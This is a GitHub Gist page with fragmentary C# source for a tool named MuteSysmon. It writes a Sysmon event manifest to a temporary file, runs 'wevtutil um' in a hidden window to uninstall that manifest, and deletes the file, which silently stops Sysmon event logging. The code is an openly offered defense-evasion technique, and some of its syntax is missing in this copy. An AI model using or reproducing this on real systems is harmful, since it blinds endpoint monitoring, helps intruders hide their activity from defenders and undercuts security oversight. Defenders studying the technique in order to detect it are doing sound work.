Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
namespace MuteSysmon
class Program
static void Main(string[] args)
string manifest = @"
<instrumentationManifest xmlns="""">
<provider name=""Microsoft-Windows-Sysmon"" guid=""{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"" />
string tempFilePath = Path.GetTempFileName();
Console.WriteLine("[*] Writing manifest to temporary file " + tempFilePath);
File.WriteAllText(tempFilePath, manifest);
Console.WriteLine("[*] Uninstalling Sysmon event manifest");
Process uninstProc = new Process()
StartInfo = new ProcessStartInfo()
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "wevtutil",
Arguments = "um " + tempFilePath
Console.WriteLine("[*] Deleting temporary file " + tempFilePath);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.